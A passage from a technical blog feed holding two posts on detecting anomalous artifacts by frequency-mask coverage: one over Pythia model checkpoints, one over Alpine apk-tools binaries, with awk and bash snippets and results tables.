&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;the-results&quot;&gt;The results&lt;&#x2F;h2&gt;
&lt;p&gt;Coverage over corpus and test target:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;=== printable coverage ===
step  1000: covered=4244  total=5882756  coverage=0.001
step  4000: covered=4244  total=5903096  coverage=0.001
step 16000: covered=4244  total=5800540  coverage=0.001
step 32000: covered=4244  total=5691162  coverage=0.001
step 64000: covered=4244  total=5650045  coverage=0.001
step128000: covered=4244  total=5417921  coverage=0.001
step143000: covered=4243  total=5392809  coverage=0.001

=== hex coverage ===
step  1000: covered=3621149  total=3625000  coverage=0.999
step  4000: covered=3620327  total=3625000  coverage=0.999
step 16000: covered=3618789  total=3625000  coverage=0.998
step 32000: covered=3618928  total=3625000  coverage=0.998
step 64000: covered=3617073  total=3625000  coverage=0.998
step128000: covered=3616316  total=3625000  coverage=0.998
step143000: covered=3615556  total=3625000  coverage=0.997
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The printable substrate has no useful signal over the weights. The 4244 fixed hits are the JSON header: layer names, types, offsets. The rest of the printable bytes in a 26MB float32 weight file are incidental. A coverage of 0.001 is not a failure. It is the correct proportion of header content relative to the total printable byte count.&lt;&#x2F;p&gt;
&lt;p&gt;The hex substrate has signal. 0.997 to 0.999 is a stable range. step143000 lands at 0.997: same model, more trained, inside the corpus range.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-outliers&quot;&gt;The outliers&lt;&#x2F;h2&gt;
&lt;p&gt;A single known-good variant at the boundary of the corpus is not enough. Two models with increasing distance from the pretraining distribution were measured.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Pythia-14m-deduped&lt;&#x2F;strong&gt;: same architecture, trained on the deduplicated Pile instead of the full Pile. Identical layer names. Different weight distribution.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget -q --show-progress \
    -O checkpoints&amp;#x2F;deduped.safetensors \
    &amp;quot;https:&amp;#x2F;&amp;#x2F;huggingface.co&amp;#x2F;EleutherAI&amp;#x2F;pythia-14m-deduped&amp;#x2F;resolve&amp;#x2F;main&amp;#x2F;model.safetensors&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage: &lt;strong&gt;0.992&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;pythia-14m-sentences&lt;&#x2F;strong&gt;: fine-tuned on a curated corpus of English sentences. Same architecture. Task substantially different from general pretraining.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget -q --show-progress \
    -O checkpoints&amp;#x2F;sentences.safetensors \
    &amp;quot;https:&amp;#x2F;&amp;#x2F;huggingface.co&amp;#x2F;agentlans&amp;#x2F;pythia-14m-sentences&amp;#x2F;resolve&amp;#x2F;main&amp;#x2F;model.safetensors&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Coverage: &lt;strong&gt;0.737&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Full table:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;model&lt;&#x2F;th&gt;&lt;th&gt;coverage&lt;&#x2F;th&gt;&lt;th&gt;description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;step1000 - step128000&lt;&#x2F;td&gt;&lt;td&gt;0.998 - 0.999&lt;&#x2F;td&gt;&lt;td&gt;corpus baseline&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;step143000&lt;&#x2F;td&gt;&lt;td&gt;0.997&lt;&#x2F;td&gt;&lt;td&gt;same model, end of pretraining&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pythia-14m-deduped&lt;&#x2F;td&gt;&lt;td&gt;0.992&lt;&#x2F;td&gt;&lt;td&gt;same architecture, different training corpus&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pythia-14m-sentences&lt;&#x2F;td&gt;&lt;td&gt;0.737&lt;&#x2F;td&gt;&lt;td&gt;aggressive fine-tuning on sentence corpus&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The separation is clean. 0.997 to 0.992 is training corpus drift. 0.992 to 0.737 is fine-tuning. The mask knows neither. It knows what byte patterns appeared in the version history of the artifact.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;measurement-cost&quot;&gt;Measurement cost&lt;&#x2F;h2&gt;
&lt;p&gt;Once the mask exists, measuring a new checkpoint is a single linear pass over a fixed-size sample.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sentences finetuned:  covered=2671052 total=3625000 coverage=0.737

real    0m1.740s
user    0m1.726s
sys     0m0.008s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;1.74 seconds. 27MB file. The mask loads into AWK’s hash table at startup. What follows is a sliding window over 2MB of hex output with one hash lookup per n-gram. No model loading. No framework. No GPU.&lt;&#x2F;p&gt;
&lt;p&gt;The sample size is fixed at 2MB regardless of the checkpoint size. The measurement cost does not scale with model size. It scales with SAMPLE_BYTES, which is a parameter.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;dd&lt;&#x2F;code&gt; seek does scale with file size on spinning disk. On SSD it is negligible.&lt;&#x2F;p&gt;
&lt;p&gt;The only measured data point is pythia-14m at 1.7 seconds on a desktop machine. The table below extends that to larger models based on two assumptions: that &lt;code&gt;dd&lt;&#x2F;code&gt; seek time on SSD is under one second for any file size, and that AWK processing time is dominated by the fixed 2MB sample rather than by the total file size. Both assumptions hold for the measured case. Whether they hold at 13GB or 130GB requires actual measurement on those files.&lt;&#x2F;p&gt;
&lt;p&gt;The torch.load() column assumes a machine with sufficient RAM to load the full model. For LLaMA-70B that is approximately 140GB. On hardware without that capacity, loading is not a timing question.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;model&lt;&#x2F;th&gt;&lt;th&gt;size&lt;&#x2F;th&gt;&lt;th&gt;this method&lt;&#x2F;th&gt;&lt;th&gt;torch.load()&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;pythia-14m&lt;&#x2F;td&gt;&lt;td&gt;27MB&lt;&#x2F;td&gt;&lt;td&gt;1.7s (measured)&lt;&#x2F;td&gt;&lt;td&gt;~3s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;pythia-1b&lt;&#x2F;td&gt;&lt;td&gt;2GB&lt;&#x2F;td&gt;&lt;td&gt;~2s (estimated)&lt;&#x2F;td&gt;&lt;td&gt;~25s (estimated)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;LLaMA-7B&lt;&#x2F;td&gt;&lt;td&gt;13GB&lt;&#x2F;td&gt;&lt;td&gt;~2-4s (estimated)&lt;&#x2F;td&gt;&lt;td&gt;~90s (estimated)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;LLaMA-70B&lt;&#x2F;td&gt;&lt;td&gt;130GB&lt;&#x2F;td&gt;&lt;td&gt;~3-8s on SSD (estimated)&lt;&#x2F;td&gt;&lt;td&gt;~900s on high-memory server (estimated)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;These are projections from a single data point, not a benchmark. Confirming them is one of the three future directions described below.&lt;&#x2F;p&gt;
&lt;p&gt;The method requires approximately 50MB regardless of model size: AWK’s hash table for the mask plus the 2MB sample buffer.&lt;&#x2F;p&gt;
&lt;p&gt;This is not an optimization. It is a structural property of the method. The model is never loaded. Only a fixed-size sample of its byte content is examined.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-this-measures-and-what-it-does-not&quot;&gt;What this measures and what it does not&lt;&#x2F;h2&gt;
&lt;p&gt;A signature certifies that a specific process signed a specific artifact. It does not certify that the artifact is semantically consistent with its own history. A fine-tuning step that modifies weights after pretraining and before signing produces a valid signature on a modified model.&lt;&#x2F;p&gt;
&lt;p&gt;Coverage analysis answers a different question: is this artifact what it has always been. The two signals are orthogonal. Signature verification is a gate. Coverage is a baseline. Gates are binary. Baselines are continuous.&lt;&#x2F;p&gt;
&lt;p&gt;The method detects byte population anomalies, not arbitrary weight modifications. A change that produces byte patterns already present in the corpus will not lower coverage. Targeted adversarial modifications aware of the mask could evade it. The corpus must be known-good: a change present in all corpus versions becomes part of the mask.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;coverage-as-a-time-series&quot;&gt;Coverage as a time series&lt;&#x2F;h2&gt;
&lt;p&gt;A single measurement detects whether a specific checkpoint is anomalous. A time series detects whether the model is drifting across releases.&lt;&#x2F;p&gt;
&lt;p&gt;A model that loses 0.2% coverage per fine-tuning round over ten rounds triggers no single-artifact alert. The cumulative drop is visible as slope. The mask variance metric from the previous post applies here directly: how much does the mask itself change when rebuilt from a sliding window of the checkpoint history. A stable model produces a stable mask. A mask that gains or loses many entries between consecutive rebuilds signals that the population is in flux.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;future-directions&quot;&gt;Future directions&lt;&#x2F;h2&gt;
&lt;p&gt;Three experiments would convert this from a demonstration into a rigorous method.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Ablation over SAMPLE_BYTES.&lt;&#x2F;strong&gt; The current setup samples 2MB from the center of each file. It is not known whether the center is the most informative region or whether the signal holds at smaller sample sizes. Running coverage measurements at 512KB, 1MB, 2MB and 4MB samples across the same corpus would characterize the tradeoff between cost and signal quality.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Benchmark at scale.&lt;&#x2F;strong&gt; The projected times in the table above are estimates based on the structural properties of the method. Measuring actual times on pythia-1b and LLaMA-7B with the same scripts would either confirm the projections or expose where they break. The comparison against &lt;code&gt;torch.load()&lt;&#x2F;code&gt; would move from estimated to measured.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Grain and corpus size coupling.&lt;&#x2F;strong&gt; With 6 corpus versions, grain=4 step=1 produces 51721 mask entries and clear separation. It is not known how the mask degrades as corpus size shrinks or how signal quality improves as grain increases with a larger corpus. A systematic sweep over (corpus_size, grain) pairs on a model family with more public checkpoints would characterize that surface.&lt;&#x2F;p&gt;
&lt;p&gt;The first post applied the method to plain text: w3m dumps with boilerplate repeated across files. The second applied it to compiled binaries: versions of the same executable with an invariant string population across releases. This post applies it to ML artifacts: checkpoints of the same model at different points during training.&lt;&#x2F;p&gt;
&lt;p&gt;The substrate changes. The method does not.&lt;&#x2F;p&gt;
&lt;p&gt;What changes across the three posts is not the procedure. It is what the procedure is answering. In plain text: which lines are template. In binaries: does this executable still look like what it has always been. In model checkpoints: is this artifact a statistical descendant of the versions that preceded it.&lt;&#x2F;p&gt;
&lt;p&gt;The frequency mask does not know which domain it is operating in. It knows how to count.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Detecting anomalous binaries by measuring drift from their own version history</title>
        <published>2026-03-06T00:00:00+00:00</published>
        <updated>2026-03-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/binary-string-mask/"/>
        <id>https://lf3.gitlab.io/blog/binary-string-mask/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/binary-string-mask/">&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;frequency-masking-on-embedded-binary-strings&quot;&gt;Frequency masking on embedded binary strings&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Can a binary be evaluated against the statistical structure of its own version history?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Verifying the integrity of distributed binaries usually depends on reproducible builds or vendor signatures. This post shows a simple experiment using nine versions of Alpine’s apk binary.&lt;&#x2F;p&gt;
&lt;p&gt;In practice, both assumptions often fail.&lt;&#x2F;p&gt;
&lt;p&gt;Many projects do not provide reproducible builds, and closed binaries cannot be rebuilt independently. When a suspicious binary appears, the only options are usually signature matching or full reverse engineering.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;detecting-binary-drift-with-frequency-masks&quot;&gt;Detecting binary drift with frequency masks&lt;&#x2F;h2&gt;
&lt;p&gt;The method builds a frequency mask of invariant strings across a corpus of known-good versions and measures how much of that invariant structure a target binary still covers.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Alpine apk-tools coverage (unigram &amp;amp; byte n-gram)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Unit&lt;&#x2F;th&gt;&lt;th&gt;3.14–3.22&lt;&#x2F;th&gt;&lt;th&gt;3.23 outlier&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Strings&lt;&#x2F;td&gt;&lt;td&gt;71–80%&lt;&#x2F;td&gt;&lt;td&gt;40%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Byte n-grams&lt;&#x2F;td&gt;&lt;td&gt;23–28%&lt;&#x2F;td&gt;&lt;td&gt;13.6%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;This is an extension of a method developed in “&lt;a href=&quot;&#x2F;blog&#x2F;i-like-lists&quot;&gt;Me gustan las listas&lt;&#x2F;a&gt;”, where frequency masks were applied to text corpora to remove boilerplate.&lt;&#x2F;p&gt;
&lt;p&gt;The post covers two analyses. The first treats each line of &lt;code&gt;strings&lt;&#x2F;code&gt; output as a unit (unigram). The second operates on the continuous printable byte sequence of the binary, with no line cuts, using a sliding window to extract character n-grams. Both use the same frequency mask construction and coverage measurement. Raff et al. (2018) observed, in a different context, that most information carried by byte n-grams is recoverable from string features alone. The two analyses here are designed around that complementarity.&lt;&#x2F;p&gt;
&lt;p&gt;A note on the synthesis traditions that informed the framing: granular synthesis decomposes a signal into small time-domain grains and analyzes each individually. Concatenative synthesis extends that to the transitions between grains, because the join carries information that neither grain contains alone. Ó Nuanáin, Herrera and Jordà describe this distinction precisely in the context of rhythmic pattern generation (&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;repositori.upf.edu&#x2F;server&#x2F;api&#x2F;core&#x2F;bitstreams&#x2F;0dd9fbf3-1277-400c-9877-658439797336&#x2F;content&quot;&gt;ISMIR 2016&lt;&#x2F;a&gt;). Applied here: the string is the grain in the first analysis. The byte sequence with a sliding window is the concatenative extension: no arbitrary cuts. The grain becomes a fixed-width window over the continuous character sequence.&lt;&#x2F;p&gt;
&lt;p&gt;A parenthesis as grateful attribution: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.upf.edu&#x2F;web&#x2F;sergi-jorda&quot;&gt;Sergi Jordà&lt;&#x2F;a&gt; presented this distinction at “Creación Musical Interactiva: del Reactable a las redes musicales,” Centro Cultural de España en Buenos Aires, 2009. The idea that concatenative synthesis considers the join between grains, not only the grains themselves, came from that room.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;the-observation&quot;&gt;The observation&lt;&#x2F;h2&gt;
&lt;p&gt;Every compiled binary carries embedded strings: error messages, format strings, symbol names, library paths, command-line option descriptions. These strings are largely stable across patch releases. The error messages in &lt;code&gt;apk-tools 2.14.4&lt;&#x2F;code&gt; are the same as in &lt;code&gt;apk-tools 2.14.9&lt;&#x2F;code&gt;. The option descriptions did not change.&lt;&#x2F;p&gt;
&lt;p&gt;Version identifiers and build timestamps do change, but they are a small fraction of the total string population.&lt;&#x2F;p&gt;
&lt;p&gt;Given a corpus of known-good versions of the same binary, most strings appear in most versions. A binary with an anomalous string population is worth investigating.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;corpus-alpine-apk-tools-from-release-isos&quot;&gt;Corpus: Alpine apk-tools from release ISOs&lt;&#x2F;h3&gt;
&lt;p&gt;The corpus is &lt;code&gt;sbin&#x2F;apk&lt;&#x2F;code&gt; extracted directly from Alpine Linux release ISOs, 3.14 through 3.22. Each ISO ships &lt;code&gt;apk-tools&lt;&#x2F;code&gt; as a &lt;code&gt;.apk&lt;&#x2F;code&gt; package in &lt;code&gt;&#x2F;apks&#x2F;x86_64&#x2F;&lt;&#x2F;code&gt;. The package is a gzip tar. No installation required.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mount -o loop,ro isos&amp;#x2F;alpine-standard-3.22.0-x86_64.iso mnt&amp;#x2F;3.22

tar -xzf mnt&amp;#x2F;3.22&amp;#x2F;apks&amp;#x2F;x86_64&amp;#x2F;apk-tools-2.14.9-r2.apk \
    --to-stdout sbin&amp;#x2F;apk &amp;gt; binaries&amp;#x2F;apk-tools&amp;#x2F;apk-tools-3.22

strings binaries&amp;#x2F;apk-tools&amp;#x2F;apk-tools-3.22 &amp;gt; strings&amp;#x2F;apk-tools&amp;#x2F;3.22.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Alpine&lt;&#x2F;th&gt;&lt;th&gt;apk-tools&lt;&#x2F;th&gt;&lt;th&gt;size&lt;&#x2F;th&gt;&lt;th&gt;strings&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;3.14&lt;&#x2F;td&gt;&lt;td&gt;2.12.5-r1&lt;&#x2F;td&gt;&lt;td&gt;69712B&lt;&#x2F;td&gt;&lt;td&gt;746&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.15&lt;&#x2F;td&gt;&lt;td&gt;2.12.7-r3&lt;&#x2F;td&gt;&lt;td&gt;69768B&lt;&#x2F;td&gt;&lt;td&gt;749&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.16&lt;&#x2F;td&gt;&lt;td&gt;2.12.9-r3&lt;&#x2F;td&gt;&lt;td&gt;69624B&lt;&#x2F;td&gt;&lt;td&gt;755&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.17&lt;&#x2F;td&gt;&lt;td&gt;2.12.10-r1&lt;&#x2F;td&gt;&lt;td&gt;69560B&lt;&#x2F;td&gt;&lt;td&gt;756&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.18&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r0&lt;&#x2F;td&gt;&lt;td&gt;69632B&lt;&#x2F;td&gt;&lt;td&gt;846&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.19&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r5&lt;&#x2F;td&gt;&lt;td&gt;69648B&lt;&#x2F;td&gt;&lt;td&gt;843&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.20&lt;&#x2F;td&gt;&lt;td&gt;2.14.4-r0&lt;&#x2F;td&gt;&lt;td&gt;69648B&lt;&#x2F;td&gt;&lt;td&gt;827&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.21&lt;&#x2F;td&gt;&lt;td&gt;2.14.6-r2&lt;&#x2F;td&gt;&lt;td&gt;69648B&lt;&#x2F;td&gt;&lt;td&gt;864&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.22&lt;&#x2F;td&gt;&lt;td&gt;2.14.9-r2&lt;&#x2F;td&gt;&lt;td&gt;69648B&lt;&#x2F;td&gt;&lt;td&gt;856&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Binary sizes cluster around 69.6KB through the 2.12.x and 2.14.x series. All 9 binaries have distinct SHA256 hashes.&lt;&#x2F;p&gt;
&lt;p&gt;Alpine 3.23 ships &lt;code&gt;apk-tools 3.0.1&lt;&#x2F;code&gt;, a rewrite. Its binary is 115096B.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;automatic-corpus-boundary-detection&quot;&gt;Automatic corpus boundary detection&lt;&#x2F;h2&gt;
&lt;p&gt;Before building the mask, binary sizes are compared against the corpus median. Any binary that deviates more than 20% from the median is excluded from mask construction and evaluated separately.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sorted_sizes=$(for ver in &amp;quot;${VERSIONS[@]}&amp;quot;; do echo &amp;quot;${SIZES[$ver]}&amp;quot;; done | sort -n)
mid=$(( (count + 1) &amp;#x2F; 2 ))
median=$(echo &amp;quot;$sorted_sizes&amp;quot; | sed -n &amp;quot;${mid}p&amp;quot;)
lo=$(echo &amp;quot;scale=0; $median * 80 &amp;#x2F; 100&amp;quot; | bc)
hi=$(echo &amp;quot;scale=0; $median * 120 &amp;#x2F; 100&amp;quot; | bc)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;median: 69648B       range: 55718B - 83577B

3.14 - 3.22  [corpus]     69560B - 69768B
3.23         [outlier]    115096B  (65% above median)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The 3.23 rewrite is detected automatically. No version numbers are hardcoded. The &lt;code&gt;PACKAGE&lt;&#x2F;code&gt; variable at the top of the script is the only thing that changes when applying this to a different binary.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;building-the-frequency-mask&quot;&gt;Building the frequency mask&lt;&#x2F;h2&gt;
&lt;p&gt;For each unit of analysis, count how many distinct files in the corpus contain it. Units present in at least &lt;code&gt;threshold&lt;&#x2F;code&gt; fraction of the corpus become the mask.&lt;&#x2F;p&gt;
&lt;p&gt;The key distinction: count by distinct file, not by total occurrences. A string that appears 50 times in one binary contributes 1 to the frequency count. A string that appears once in 7 of 9 corpus files contributes 7.&lt;&#x2F;p&gt;
&lt;p&gt;The mask is built in a single awk pass over all corpus files:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;FNR == 1 { delete seen }
{
    if (seen[$0]) next
    seen[$0] = 1
    freq[$0]++
}
END {
    for (s in freq)
        if (freq[s] &amp;gt;= min) print s
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;FNR == 1&lt;&#x2F;code&gt; resets the per-file deduplication set at each new file. The full corpus of 9 files processes in under 0.25 seconds.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;analysis-1-unigram-coverage&quot;&gt;Analysis 1: unigram coverage&lt;&#x2F;h3&gt;
&lt;p&gt;At threshold 0.75, the mask contains &lt;strong&gt;513 strings&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Alpine&lt;&#x2F;th&gt;&lt;th&gt;apk-tools&lt;&#x2F;th&gt;&lt;th&gt;covered&#x2F;total&lt;&#x2F;th&gt;&lt;th&gt;coverage&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;3.14&lt;&#x2F;td&gt;&lt;td&gt;2.12.5-r1&lt;&#x2F;td&gt;&lt;td&gt;574&#x2F;746&lt;&#x2F;td&gt;&lt;td&gt;76.9%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.15&lt;&#x2F;td&gt;&lt;td&gt;2.12.7-r3&lt;&#x2F;td&gt;&lt;td&gt;580&#x2F;749&lt;&#x2F;td&gt;&lt;td&gt;77.4%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.16&lt;&#x2F;td&gt;&lt;td&gt;2.12.9-r3&lt;&#x2F;td&gt;&lt;td&gt;581&#x2F;755&lt;&#x2F;td&gt;&lt;td&gt;76.9%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.17&lt;&#x2F;td&gt;&lt;td&gt;2.12.10-r1&lt;&#x2F;td&gt;&lt;td&gt;611&#x2F;756&lt;&#x2F;td&gt;&lt;td&gt;80.8%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.18&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r0&lt;&#x2F;td&gt;&lt;td&gt;627&#x2F;846&lt;&#x2F;td&gt;&lt;td&gt;74.1%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.19&lt;&#x2F;td&gt;&lt;td&gt;2.14.0-r5&lt;&#x2F;td&gt;&lt;td&gt;634&#x2F;843&lt;&#x2F;td&gt;&lt;td&gt;75.2%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.20&lt;&#x2F;td&gt;&lt;td&gt;2.14.4-r0&lt;&#x2F;td&gt;&lt;td&gt;623&#x2F;827&lt;&#x2F;td&gt;&lt;td&gt;75.3%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.21&lt;&#x2F;td&gt;&lt;td&gt;2.14.6-r2&lt;&#x2F;td&gt;&lt;td&gt;617&#x2F;864&lt;&#x2F;td&gt;&lt;td&gt;71.4%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.22&lt;&#x2F;td&gt;&lt;td&gt;2.14.9-r2&lt;&#x2F;td&gt;&lt;td&gt;617&#x2F;856&lt;&#x2F;td&gt;&lt;td&gt;72.0%&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Corpus coverage: 71% to 80%.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Alpine&lt;&#x2F;th&gt;&lt;th&gt;apk-tools&lt;&#x2F;th&gt;&lt;th&gt;covered&#x2F;total&lt;&#x2F;th&gt;&lt;th&gt;coverage&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;3.23&lt;&#x2F;td&gt;&lt;td&gt;3.0.1-r1&lt;&#x2F;td&gt;&lt;td&gt;532&#x2F;1317&lt;&#x2F;td&gt;&lt;td&gt;40.3%&lt;&#x2F;td&gt;&lt;td&gt;outlier, major version rewrite&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;figure style=&quot;text-align:center; margin:2rem 0&quot;&gt;
  &lt;img src=&quot;&amp;#x2F;chart_unigram.svg&quot; alt=&quot;Unigram coverage&quot; style=&quot;max-width:1024px; width:100%;&quot;&gt;
  
&lt;&#x2F;figure&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;how-the-sliding-window-works&quot;&gt;How the sliding window works&lt;&#x2F;h3&gt;
&lt;p&gt;A binary file is a stream of bytes. Each byte is one value between 0 and 255, written in hex as two digits: &lt;code&gt;00&lt;&#x2F;code&gt; to &lt;code&gt;FF&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Take two known-good versions as corpus:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;corpus 1: &amp;quot;hello world&amp;quot;
corpus 2: &amp;quot;hello words&amp;quot;

pos:  1   2   3   4   5   6   7   8   9  10  11
chr:  h   e   l   l   o       w   o   r   l   d
hex: 68  65  6C  6C  6F  20  77  6F  72  6C  64

chr:  h   e   l   l   o       w   o   r   d   s
hex: 68  65  6C  6C  6F  20  77  6F  72  64  73
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A window of grain=4 step=1 moves like this. Each window produces one n-gram. No byte determines a cut. The window moves forward by 1 and reads 4.&lt;&#x2F;p&gt;
